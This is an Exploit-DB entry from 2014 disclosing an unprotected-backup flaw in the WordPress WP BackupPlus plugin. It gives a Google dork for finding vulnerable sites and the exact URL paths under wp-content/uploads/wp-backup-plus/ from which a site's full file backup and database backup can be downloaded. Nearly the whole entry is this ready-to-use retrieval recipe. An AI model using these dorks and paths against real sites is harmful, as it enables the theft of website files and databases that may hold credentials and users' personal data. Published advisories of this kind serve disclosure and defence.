WordPress WP BackupPlus - Database And Files Backup Download 0day

2014-07-20T00:00:00
ID EDB-ID:34124
Type exploitdb
Reporter pSyCh0_3D
Modified 2014-07-20T00:00:00

Description

Wordpress WP BackupPlus - Database And Files Backup Download (0day). Webapps exploit for php platform

                                        
                                            # Exploit Title: Wordpress wpbackupplus Database and files Backup download (0-day)
# Google Dork: Index of:"/wp-backup-plus"
# Date: 19/07/2014
# Exploit Author: pSyCh0_3D (Arfaoui Moslem) https://www.facebook.com/lulz.sec
# Vendor Homepage: http://wpbackupplus.com/
# Version:
# Tested on: win7 32 Bit & Linux Kali 

[+] Description 

wpbackupplus make the backup .zip files and not protected 

[+] Exploit: 

For download all the website files 

http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/ 

For download the Database backup 

http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/temp 

[+]  POC : 

http://[SERVER]/wp-content/uploads/wp-backup-plus/temp/